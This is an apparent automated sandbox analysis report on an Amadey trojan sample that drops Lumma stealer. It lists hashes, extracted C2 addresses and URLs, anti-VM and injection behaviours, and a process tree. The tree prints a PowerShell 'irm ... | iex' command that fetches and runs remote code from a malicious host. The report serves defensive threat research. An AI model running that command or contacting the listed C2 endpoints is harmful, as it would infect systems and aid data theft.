amadey | c63e591bd3694a4ab2dd9fe6e2907813fdc6efbb94663c4957054572fd2b6d7d

Analysis

max time kernel
142s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20250502-en
resource tags

arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
submitted
01/06/2025, 17:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
random.exe
Size 2.8MB
Sample250601-wfbk7azzfx
SHA256 c63e591bd3694a4ab2dd9fe6e2907813fdc6efbb94663c4957054572fd2b6d7d
MD5 797c48fdadced37cc6089c3ed272f753
SHA1 e350e743aaad180aba1fe0467b97a3926ee39fe1
SHA512 37d097ae88ccf516bcfd72d44a7e9dc8b433abf8e902e7e6a93954ff9aac6f4a5dcd64dedf4786eef07558af4bdbb97764c1283286e375f4cbffed31cbb7d035
SSDEEP 49152:dvKt1sQQk/80/wzRw1r7LG62aywNCKbxjW7pS:dv8q8/80/yRw1r7LxVCKyp
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey lumma 8d33eb defense_evasion discovery execution stealer trojan

Malware Config

Extracted

Family

amadey

Version

5.34

Botnet

8d33eb

http://185.156.72.96

Attributes

install_dir
d610cf342e
install_file
ramez.exe
strings_key
4a2b1d794e79a4532b6e2b679408d2bb
url_paths
/te4h2nus/index.php

rc4.plain

Extracted

Family

lumma

https://citellcagt.top/gjtu
https://narrathfpt.top/tekq
https://escczlv.top/bufi
https://localixbiw.top/zlpa
https://korxddl.top/qidz
https://harumseeiw.top/tqmn
https://diecam.top/laur/api
https://thundeqqbw.bet/aznd

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4496 created 2544	4496	8sOdZOi.exe	41

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ramez.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ramez.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ramez.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	3716	powershell.exe

Downloads MZ/PE file 5 IoCs

flow	pid	Process
3	4900	ramez.exe
3	4900	ramez.exe
3	4900	ramez.exe
3	4900	ramez.exe
3	4900	ramez.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ramez.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ramez.exe

Executes dropped EXE 8 IoCs

pid	Process
4900	ramez.exe
5664	3Svu0S9.exe
2736	oeBkI30.exe
2916	5FtQz1x.exe
4204	ramez.exe
4496	8sOdZOi.exe
2464	H9pAzCD.exe
6040	ramez.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-330179853-1108322181-418488014-1000\Software\Wine	ramez.exe
Key opened	\REGISTRY\USER\S-1-5-21-330179853-1108322181-418488014-1000\Software\Wine	ramez.exe
Key opened	\REGISTRY\USER\S-1-5-21-330179853-1108322181-418488014-1000\Software\Wine	ramez.exe
Key opened	\REGISTRY\USER\S-1-5-21-330179853-1108322181-418488014-1000\Software\Wine	random.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4688	random.exe
4900	ramez.exe
4204	ramez.exe
6040	ramez.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2736 set thread context of 3108	2736	oeBkI30.exe	92

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\ramez.job	random.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3716	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ramez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5FtQz1x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	H9pAzCD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4688	random.exe
4688	random.exe
4900	ramez.exe
4900	ramez.exe
3716	powershell.exe
3716	powershell.exe
3108	MSBuild.exe
3108	MSBuild.exe
3108	MSBuild.exe
3108	MSBuild.exe
4204	ramez.exe
4204	ramez.exe
2916	5FtQz1x.exe
2916	5FtQz1x.exe
2916	5FtQz1x.exe
2916	5FtQz1x.exe
4496	8sOdZOi.exe
4496	8sOdZOi.exe
2552	openwith.exe
2552	openwith.exe
6040	ramez.exe
6040	ramez.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeIncreaseQuotaPrivilege	5696	WMIC.exe
Token: SeSecurityPrivilege	5696	WMIC.exe
Token: SeTakeOwnershipPrivilege	5696	WMIC.exe
Token: SeLoadDriverPrivilege	5696	WMIC.exe
Token: SeSystemProfilePrivilege	5696	WMIC.exe
Token: SeSystemtimePrivilege	5696	WMIC.exe
Token: SeProfSingleProcessPrivilege	5696	WMIC.exe
Token: SeIncBasePriorityPrivilege	5696	WMIC.exe
Token: SeCreatePagefilePrivilege	5696	WMIC.exe
Token: SeBackupPrivilege	5696	WMIC.exe
Token: SeRestorePrivilege	5696	WMIC.exe
Token: SeShutdownPrivilege	5696	WMIC.exe
Token: SeDebugPrivilege	5696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5696	WMIC.exe
Token: SeRemoteShutdownPrivilege	5696	WMIC.exe
Token: SeUndockPrivilege	5696	WMIC.exe
Token: SeManageVolumePrivilege	5696	WMIC.exe
Token: 33	5696	WMIC.exe
Token: 34	5696	WMIC.exe
Token: 35	5696	WMIC.exe
Token: 36	5696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5696	WMIC.exe
Token: SeSecurityPrivilege	5696	WMIC.exe
Token: SeTakeOwnershipPrivilege	5696	WMIC.exe
Token: SeLoadDriverPrivilege	5696	WMIC.exe
Token: SeSystemProfilePrivilege	5696	WMIC.exe
Token: SeSystemtimePrivilege	5696	WMIC.exe
Token: SeProfSingleProcessPrivilege	5696	WMIC.exe
Token: SeIncBasePriorityPrivilege	5696	WMIC.exe
Token: SeCreatePagefilePrivilege	5696	WMIC.exe
Token: SeBackupPrivilege	5696	WMIC.exe
Token: SeRestorePrivilege	5696	WMIC.exe
Token: SeShutdownPrivilege	5696	WMIC.exe
Token: SeDebugPrivilege	5696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5696	WMIC.exe
Token: SeRemoteShutdownPrivilege	5696	WMIC.exe
Token: SeUndockPrivilege	5696	WMIC.exe
Token: SeManageVolumePrivilege	5696	WMIC.exe
Token: 33	5696	WMIC.exe
Token: 34	5696	WMIC.exe
Token: 35	5696	WMIC.exe
Token: 36	5696	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4688	random.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 4688 wrote to memory of 4900	4688	random.exe	82
PID 4688 wrote to memory of 4900	4688	random.exe	82
PID 4688 wrote to memory of 4900	4688	random.exe	82
PID 4900 wrote to memory of 5664	4900	ramez.exe	83
PID 4900 wrote to memory of 5664	4900	ramez.exe	83
PID 5664 wrote to memory of 5104	5664	3Svu0S9.exe	84
PID 5664 wrote to memory of 5104	5664	3Svu0S9.exe	84
PID 5104 wrote to memory of 3716	5104	cmd.exe	86
PID 5104 wrote to memory of 3716	5104	cmd.exe	86
PID 4900 wrote to memory of 2736	4900	ramez.exe	87
PID 4900 wrote to memory of 2736	4900	ramez.exe	87
PID 2736 wrote to memory of 3404	2736	oeBkI30.exe	89
PID 2736 wrote to memory of 3404	2736	oeBkI30.exe	89
PID 2736 wrote to memory of 3404	2736	oeBkI30.exe	89
PID 2736 wrote to memory of 2020	2736	oeBkI30.exe	90
PID 2736 wrote to memory of 2020	2736	oeBkI30.exe	90
PID 2736 wrote to memory of 2020	2736	oeBkI30.exe	90
PID 2736 wrote to memory of 1120	2736	oeBkI30.exe	91
PID 2736 wrote to memory of 1120	2736	oeBkI30.exe	91
PID 2736 wrote to memory of 1120	2736	oeBkI30.exe	91
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 2736 wrote to memory of 3108	2736	oeBkI30.exe	92
PID 4900 wrote to memory of 2916	4900	ramez.exe	93
PID 4900 wrote to memory of 2916	4900	ramez.exe	93
PID 4900 wrote to memory of 2916	4900	ramez.exe	93
PID 4900 wrote to memory of 4496	4900	ramez.exe	96
PID 4900 wrote to memory of 4496	4900	ramez.exe	96
PID 4496 wrote to memory of 2552	4496	8sOdZOi.exe	97
PID 4496 wrote to memory of 2552	4496	8sOdZOi.exe	97
PID 4496 wrote to memory of 2552	4496	8sOdZOi.exe	97
PID 4496 wrote to memory of 2552	4496	8sOdZOi.exe	97
PID 4900 wrote to memory of 2464	4900	ramez.exe	98
PID 4900 wrote to memory of 2464	4900	ramez.exe	98
PID 4900 wrote to memory of 2464	4900	ramez.exe	98
PID 2464 wrote to memory of 3524	2464	H9pAzCD.exe	99
PID 2464 wrote to memory of 3524	2464	H9pAzCD.exe	99
PID 2464 wrote to memory of 3524	2464	H9pAzCD.exe	99
PID 3524 wrote to memory of 5696	3524	cmd.exe	101
PID 3524 wrote to memory of 5696	3524	cmd.exe	101
PID 3524 wrote to memory of 5696	3524	cmd.exe	101

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2544
- C:\Windows\system32\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2552

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4688
- C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
  "C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4900
- - C:\Users\Admin\AppData\Local\Temp\10263020101\3Svu0S9.exe
    "C:\Users\Admin\AppData\Local\Temp\10263020101\3Svu0S9.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5664
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k powershell -Command "irm "https://silentclickteam.co/erb/powershell?mode=RU5FSgo%3D" | iex"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5104
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "irm "https://silentclickteam.co/erb/powershell?mode=RU5FSgo%3D" | iex"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3716
- - C:\Users\Admin\AppData\Local\Temp\10264130101\oeBkI30.exe
    "C:\Users\Admin\AppData\Local\Temp\10264130101\oeBkI30.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:3404
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:2020
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1120
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3108
- - C:\Users\Admin\AppData\Local\Temp\10265550101\5FtQz1x.exe
    "C:\Users\Admin\AppData\Local\Temp\10265550101\5FtQz1x.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2916
- - C:\Users\Admin\AppData\Local\Temp\10268280101\8sOdZOi.exe
    "C:\Users\Admin\AppData\Local\Temp\10268280101\8sOdZOi.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4496
- - C:\Users\Admin\AppData\Local\Temp\10268450101\H9pAzCD.exe
    "C:\Users\Admin\AppData\Local\Temp\10268450101\H9pAzCD.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2464
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C wmic path Win32_VideoController get CurrentRefreshRate > "C:\Users\Admin\AppData\Local\Temp\10268450101\78br78fw3abuif98fasiub.txt"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3524
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic path Win32_VideoController get CurrentRefreshRate
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5696

C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4204

C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3Svu0S9.exe

Path C:\Users\Admin\AppData\Local\Temp\10263020101\3Svu0S9.exe
Size 163KB
SHA256 2f795839b213c43389e207cd24a9999f75080e237f018a6578bf0906ef837a2f
MD5 310e4b0bc728f38f0d177c811fc57527
SHA1 d6df751205f8efc41fe5d609725ace491a2f381d
SHA512 36d6d5f1a9abd36f25b3abd9091860ed969807b5a6c1ab1f3e9faacf8908d6bb97bbfc77e4487d5d1520f6a6143aa0ecffa00ec867796ce428dde3aafca47210
SSDEEP 3072:kLumj9z0NWsLA9Utolso80ghVtJj7yx1wAV/bcrMDeIO+26IyF08pPwSz3VR:0b4M016I0Jw43
MD5 SHA1 SHA512 SSDEEP

Submit Download

oeBkI30.exe

Path C:\Users\Admin\AppData\Local\Temp\10264130101\oeBkI30.exe
Size 1.6MB
SHA256 876f89e39583dd386ee1b27dd83bc2351902ca39f2c4aae641cc456993515d32
MD5 2d532267da3d472bbdc663ac1594512a
SHA1 edb84fa18ab117a4e49d07596856499c8527e290
SHA512 ef8e41e6f27b3d0521dcd38d5dbb66355b836190e8701ce3ec0f1cceeab16f70ab0781269d94f5e11dfbf59d62688f29060ea8ef85813bd5ade68978c8ae1925
SSDEEP 24576:tS2f+i6umQ5MM0FeLVePFjvOQ5uCCXJnA2UGM7JeJIIfzgJPAZU4RdIfzgJPAZUD:l6umpEVeF7tqaJe8WffWfK
MD5 SHA1 SHA512 SSDEEP

Submit Download

5FtQz1x.exe

Path C:\Users\Admin\AppData\Local\Temp\10265550101\5FtQz1x.exe
Size 466KB
SHA256 a2f1fa7763b8c5a8b4a79e63262f6b8bcdd7e019ac86bfc9b95f0422a874047d
MD5 0deec18988d12169769423cf7216ab6f
SHA1 60f02dbfb8ad541328953ce4f6815abf9e5b889a
SHA512 563aeab5766a1f2037598fe01c7f335a9304b9beced6258f9cb61e26fff7978ae61a7b0b1d3902b931fa86d5d134d87bceca847084019f85fd8e54fc8e4c52cb
SSDEEP 12288:dhnDNVx/j/DmCaOZr1S4PlzECZvvWqHUUh0w9xLcyMcU2:dRJ/j/64r13lzE2vWqGOxy
MD5 SHA1 SHA512 SSDEEP

Submit Download

8sOdZOi.exe

Path C:\Users\Admin\AppData\Local\Temp\10268280101\8sOdZOi.exe
Size 1.3MB
SHA256 57fb3950a9eaeeb3cb4d922f81eea4979aea1cafb15e75efa59dafe91f7ce9b5
MD5 eff7ea67b7e047d4dd907f0d1843e304
SHA1 18505da11829275a3923842737f086c98b0bd607
SHA512 b97aa22f0af65ed727981abfe50d9750ec769b113db36fb516961475d93d39d1032768a0c0a8011746e3ba64818ec32c6298164d81ce30061c8bf5e9478f67d3
SSDEEP 12288:elZToFvnK9vCf5GZlpKYMmCVBFL0IR5OdoEblkttG3fDBR7Jtda4m17yizfpqA6W:EZuPiqRD+l6mbNtcV17fh
MD5 SHA1 SHA512 SSDEEP

Submit Download

78br78fw3abuif98fasiub.txt

Path C:\Users\Admin\AppData\Local\Temp\10268450101\78br78fw3abuif98fasiub.txt
Size 90B
SHA256 2db0d28b0225ce46e5b971796f6b39a3677b88c95ec9da376c357a528d6f624a
MD5 a8963ee9e5a34c68eecf90e98210b4ff
SHA1 06d09864e1bbc523c1b0ace4f984ac2d8a34afec
SHA512 05218ecb39127bb10cd7c3d2b3a43dad0e9c546f396f32fd86e8218cfb592d30dce2ebf9c4110498b3aba9c1c3d083e58b5ece027cf878b859e87e4f3baaf66c
MD5 SHA1 SHA512

Submit Download

H9pAzCD.exe

Path C:\Users\Admin\AppData\Local\Temp\10268450101\H9pAzCD.exe
Size 3.7MB
SHA256 7d7facf363ccc3ab360b40044dd4d90492e6fe016fe1a851cc9cc62d83f92fd9
MD5 9b1d5f32358b7e322e93241a1574c782
SHA1 cfd8a6a53e89f7b9a1f91a2fbee6c006f2bcec15
SHA512 eebb8fb5e1cb037b53685fac93452865aef175588c30f6f08a2f1f4e077ee7f6c884da59ab8c1074436c8684310fe6d1742fbd52ac57c7e10e8fe052395dd09f
SSDEEP 49152:gdTLb0UHdrhvPS5ARRmOVprK7nYTO/cL6NX9CJqLsPGRu:gt30K9LXKmUrLsD
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_n12sk53v.zmk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n12sk53v.zmk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

ramez.exe

Path C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
Size 2.8MB
SHA256 c63e591bd3694a4ab2dd9fe6e2907813fdc6efbb94663c4957054572fd2b6d7d
MD5 797c48fdadced37cc6089c3ed272f753
SHA1 e350e743aaad180aba1fe0467b97a3926ee39fe1
SHA512 37d097ae88ccf516bcfd72d44a7e9dc8b433abf8e902e7e6a93954ff9aac6f4a5dcd64dedf4786eef07558af4bdbb97764c1283286e375f4cbffed31cbb7d035
SSDEEP 49152:dvKt1sQQk/80/wzRw1r7LG62aywNCKbxjW7pS:dv8q8/80/yRw1r7LxVCKyp
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2464-157-0x0000000000C30000-0x0000000000FFB000-memory.dmp

Download

memory/2552-136-0x00007FF99AD10000-0x00007FF99B084000-memory.dmp

Download

memory/2552-130-0x0000021C49610000-0x0000021C4961A000-memory.dmp

Download

memory/2552-133-0x0000021C4B1F0000-0x0000021C4B5F0000-memory.dmp

Download

memory/2552-134-0x00007FF99D360000-0x00007FF99D569000-memory.dmp

Download

memory/2552-135-0x00007FF99B200000-0x00007FF99B2BD000-memory.dmp

Download

memory/2916-120-0x00007FF99D360000-0x00007FF99D569000-memory.dmp

Download

memory/2916-119-0x0000000002C80000-0x0000000003080000-memory.dmp

Download

memory/2916-118-0x0000000002C80000-0x0000000003080000-memory.dmp

Download

memory/2916-122-0x0000000076E20000-0x0000000077072000-memory.dmp

Download

memory/3108-86-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/3108-85-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/3716-49-0x00000218C98D0000-0x00000218C98F2000-memory.dmp

Download

memory/4204-98-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4204-96-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4496-116-0x0000000000480000-0x00000000005D0000-memory.dmp

Download

memory/4496-129-0x00007FF99AD10000-0x00007FF99B084000-memory.dmp

Download

memory/4496-123-0x0000000002760000-0x0000000002768000-memory.dmp

Download

memory/4496-125-0x000000001DC00000-0x000000001E000000-memory.dmp

Download

memory/4496-124-0x0000000002770000-0x0000000002780000-memory.dmp

Download

memory/4496-126-0x000000001DC00000-0x000000001E000000-memory.dmp

Download

memory/4496-128-0x00007FF99B200000-0x00007FF99B2BD000-memory.dmp

Download

memory/4496-127-0x00007FF99D360000-0x00007FF99D569000-memory.dmp

Download

memory/4688-3-0x00000000007F0000-0x0000000000B0A000-memory.dmp

Download

memory/4688-0-0x00000000007F0000-0x0000000000B0A000-memory.dmp

Download

memory/4688-17-0x00000000007F0000-0x0000000000B0A000-memory.dmp

Download

memory/4688-5-0x00000000007F0000-0x0000000000B0A000-memory.dmp

Download

memory/4688-2-0x00000000007F1000-0x000000000081E000-memory.dmp

Download

memory/4688-1-0x00000000778B6000-0x00000000778B8000-memory.dmp

Download

memory/4900-19-0x0000000000341000-0x000000000036E000-memory.dmp

Download

memory/4900-54-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-22-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-168-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-41-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-70-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-117-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-20-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-167-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-18-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-53-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-137-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-138-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-21-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-94-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-55-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-158-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-159-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-160-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-166-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-165-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/4900-164-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/5664-42-0x00007FF97BF83000-0x00007FF97BF85000-memory.dmp

Download

memory/5664-40-0x0000000000970000-0x000000000099E000-memory.dmp

Download

memory/6040-163-0x0000000000340000-0x000000000065A000-memory.dmp

Download

memory/6040-162-0x0000000000340000-0x000000000065A000-memory.dmp

Download